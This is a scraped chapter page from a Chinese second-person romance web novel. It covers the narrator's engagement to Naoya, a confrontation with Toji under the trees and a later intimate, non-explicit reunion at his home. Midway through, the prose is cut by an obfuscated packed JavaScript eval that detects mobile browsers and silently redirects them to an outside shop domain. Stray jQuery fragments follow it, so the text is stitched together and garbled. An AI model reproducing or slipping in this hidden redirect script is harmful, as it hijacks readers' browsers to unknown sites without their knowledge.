文趣网 > 都市小说 > [综]请选择你的恋爱开局 > 48.你,窥探者
    你。直哉。禅院家的订婚宴。

    和在场的禅院甚尔。

    多么格格不入。

    你有些意外——不不不,应该是很意外才对。

    甚尔怎么会在这里?甚尔怎么知道你在这里?甚尔怎么能在这里?

    你的脑子里全被这些念头填满了。

    毋庸置疑的是,他不应当出现在此处。

    无论如何,他都是从禅院家叛逃的家伙,正大光明地出现在有禅院出没的地方,绝不会带来什么好结果。而且他也不会想要再回到与这个家相关的场合才对,为什么要出现在你的眼前?

    还有,别人全都没有留意到他吗?大家全顾着把你和直哉当做今天的主角了吗?

    你好担心有除你之外的人会注意到甚尔的存在,生怕他会被就地带回去,这种可能性光是想一想都足够让你捏一把汗了。你不自觉地一哆嗦,和服束缚着你想要起身的动作,害得你在站起身之前别扭地摇晃了一下。

    你的生物学父亲最先瞥见到你的小动作。几乎是想也不想地,他抬起手,飞快按住了你的肩膀。

    “礼貌些。”他小声训斥你,“动来动去的像什么样子,别在夫家面前丢了脸。”

    “……?”

    你觉得真可笑。

    “轮得到你来逞威风教育我吗,森山先生?别以为你真是个好父亲。”你的视线落在他的手上,像把冷冷的刀,“放下去,现在立刻,别让我重复这句话。否则我会直接把它砍掉。”

    你的生物学父亲用一种看怪物的方式看你,恐惧感显然压倒了男儿之心被重创的愤懑。他立刻收回手,之后的时间里再也没有看过你一眼。总算是清净了。

    无趣的小插曲,倒是让你稍稍冷静了一些。眼下的确不是适合立刻离席的场合,甚尔也不是自投罗网的傻子,你不必太为他担心。

    暂且先把眼下的时间磨蹭过去,再想想该怎么办吧。

    你重新安坐在屋檐下,看着你的母亲递上定亲礼——一把紫檀木的梳子。

    也不知道为什么非要挑选梳子。无法理解。

    来自禅院家的定亲礼则是尺八。可你不会吹尺八。

    真是的,无论是给予你生命的森山家,还是养育你长大成人的禅院,全都不了解你啊。

    “夏栖。”你的母亲轻轻碰了碰你,小声提醒说,“手。”

    哦,到交换戒指的环节了,是吧?

    你回过神来,赶紧伸出手,动作有些太急,你的手完全怼在了直哉面前,他别扭地仰着身子,给你套上祖母绿的戒指。

    “和你眼睛的颜色一样。”你以为他在自言自语,但他其实是在对你说,“我是说这颗宝石。”

    唔……是呢。

    正如直哉所说,镶嵌在银戒指上的祖母绿宝石有着与你的眼眸如出一辙的清澈绿色,很漂亮。

    不期而至的宾客、紧绷的和服、糟糕的定亲礼、祖母绿宝石。今天的一切元素里,唯一能让你感到喜欢的,也就只有这枚戒指了吧。

    真微妙,在这个空间里最能讨你欢心的人居然是直哉,明明他从来都不适合担任这种角色。

    你的胡思乱想帮助你熬过了最后的一点时间,现在你终于可以从神社下的屋檐离开了。

    用“我需要换身更舒适的衣物”作为借口,你迫不及待地匆匆跑走。刚才似乎看到甚尔朝□□的方向走了,只要往那边去的话,或许就能……

    ……找到了!

    甚尔走在海棠树下,速度慢得像虫子在爬,却一步踩住一朵落花,慢悠悠地把绒花碾碎。这样的杀伤力一定不是虫子可以实现的。

    走得这么慢,是考虑到你了吧?

    你厚脸皮地认为他一定是在等你,否则以他的脚程,此刻早就消失得无影无踪了,怎么还会在这里折磨花草。

    可是,就算追上了甚尔的步调,你也不知道该对他说什么才好。无论怎么开口好像都显得有点尴尬,只好寄希望于甚尔率先开启话题——毕竟他都愿意等待你了,肯定意味着他想对你说点什么,不是吗?

    但甚尔沉默着,比任何时候都要寡言。

    你们僵持了一阵。如果再这么继续下去,其他人一定会注意到的,你想你必须开口了。

    “真意外,居然在这里见到你。”你说,“你不怕禅院家的人看到吗?”

    他的语调轻飘飘的,“放心,我悄悄过来的,没人注意到我。”

    “你怎么知道我今天会在这里?”

    “总之就是知道了。”

    其实甚尔早就感觉到不对劲了——就在直哉地此意拜访你家、你却急匆匆要把他赶走的时候。

    你又问:“你是来祝福我的吗?”

    可他说:“你没和我说你要和禅院家的人结婚。”

    答非所问。一定是在躲避你的问题。

    一整天被和服腰带缠住的愤懑无法再被藏住了,你没理由地很生气,但你一定要将其归咎于甚尔不在意的态度。

    “你都没有问过我的事,我要怎么和你说?”你几乎是在嚷嚷了,“你不是已经意识到什么了吗,否则你今天也不会出现在了不是吗?关于我的事,你就不能多在意一点吗!”

    他站在树影里,无动容地看着你。什么也没说。

    这也让你很生气。

    一定等不到他的回答了,你有这样的预感。

    你跑走了——或是说逃走才对。

    扯开腰带,脱下和服,戒指上的宝石挂住了衣袖,扯出嘶啦一声。名贵和服可不便宜,你估计自己闯祸了,慌忙揉吧揉吧丢进角落里,赶在有人发现你弄坏了禅院家资产之前溜回了东京。

    甚尔回到东京的时间比你晚了几个小时。他和你一样有必要躲着禅院家,但他不想着急忙慌的,一如既往按照自己的步调前进。

    而你出现在他家门口,这件事就很不符合他的步调和预期了。

    你坐在门边,感觉快要睡着了,也不知道究竟等了多久。好在你没有真的睡着,一听到他的脚步声就恢复了清醒,但你决定更加固执地坐在门口。

    说着“不能不打招呼就来到别人家门口”的你,现在也做了同样的事情。你认为自己必须这么做。

    甚尔装没看到你,歪着身子别扭地开门。你问他是不是生气了,他说没有,头也不回地迈步走进玄关。

    “还不进来?”说这句话的时候,他也没回头。

    都能邀请你进屋了,看来确实没生气嘛。

    你瞬间安心了,笑嘻嘻地应着“来啦”,从门缝里钻进去,挤进甚尔家。

    和任何时候一样,你要

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17746768|206299||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    自己给自己倒大麦茶,在冰箱里找点心吃。这些待客之道只能自理,甚尔是从来不会履行的。

    他只会往沙发上一倒,咔哒咔哒按着遥控器,挑选半天,最后停在赛马的直播节目。

    现在可不需要赛马节目来助兴。

    你关掉电视,站在甚尔面前,很认真地向他道歉。

    “我昨天说得太过分了,好像把错全都推到你身上了一样,对此我很抱歉。”你说。

    甚尔懒懒地抬起眼皮,“你就是为了这件事来的?”

    “对。”

    “行呗。我本来就没放在心上。”

    “那我继续说下去咯?”你花了两秒钟时间确定了他的默认,这才说,“我不能怪你不关心我的事情。甚尔你就是这样的人,对我不闻不问才算正常,我肯定无法改变你的秉性。所以,如果我希望被你关心,就应该是我主动告诉你关于我的事才对。问题的本质是我没有及时地和你分享。但说实话,我也不知道我为什么不和你说结婚的事情。”

    “就算你不说,我也猜出来了。”

    从见到直哉的那一刻就能猜出来了,更别提之前那尴尬的造访。他禅院甚尔又不是傻子。

    “好吧好吧,那我还要夸夸你是不是?”你半开玩笑,“总之以后我会好好改进的,甚尔你也别再一声招呼不打地出现了。很吓人啦。遥控机还给你,我回去咯。”

    匆匆忙忙地赶来赶去,你已经累得不行了。回家之后一定要抱着小麦睡到昏天黑地才行。

    你暗下决心,默默加快脚步,却忽然被甚尔拽住了手腕。

    那时你尚未迈过玄关。

    “唔?怎么了,甚尔?”

    “伤疤。”

    他卷起你的衣袖,露出小臂上的疤痕,随着年岁已经长成了长长的一道,突兀地存在着。他用指尖拂过,以前他也做过这个动作。

    “还是没变淡啊。”他自言自语似的说。

    “是呢。”你故意说,“都怪甚尔。”

    这话绝对不算错,毕竟划开了你的手背的人就是他,责任理应归他。

    “希望伤口愈合吗?”

    “嗯?”你不太明白,“这是什么意……”

    在你说完之前,甚尔的双唇已贴在了你的伤口上。

    冷冷的,但很柔软的触碰。

    能感觉到没剃干净的胡茬贴住细嫩的皮肤,好粗糙的存在感。

    甚尔吻过你伤口的每一寸,一点点向上。他摘下你的戒指,亲吻落在肩头与脖颈,仿佛没有尽头。

    “我想知道。”

    他在杂乱的吻的间隙之间说。

    真稀奇。你想。

    “你从来都没有主动好奇的时候。”你艰难地喘息,“你想知道什么?说吧。”

    “你要和你的哥哥结婚了。”

    “你在陈述。这不是好奇。”

    “我没说完。”他用手掌抵住你的下巴,很别扭的姿势,“在你心里,我也是哥哥吗?”

    “……不是。”

    是共犯。

    是承担罪恶的搭档,因为你们向来不做什么好事。

    就像现在。

    自始至终,你都没有试着收回手。你真不该这么做的。

    但该做的或是不该做的,你全都做了,不是吗?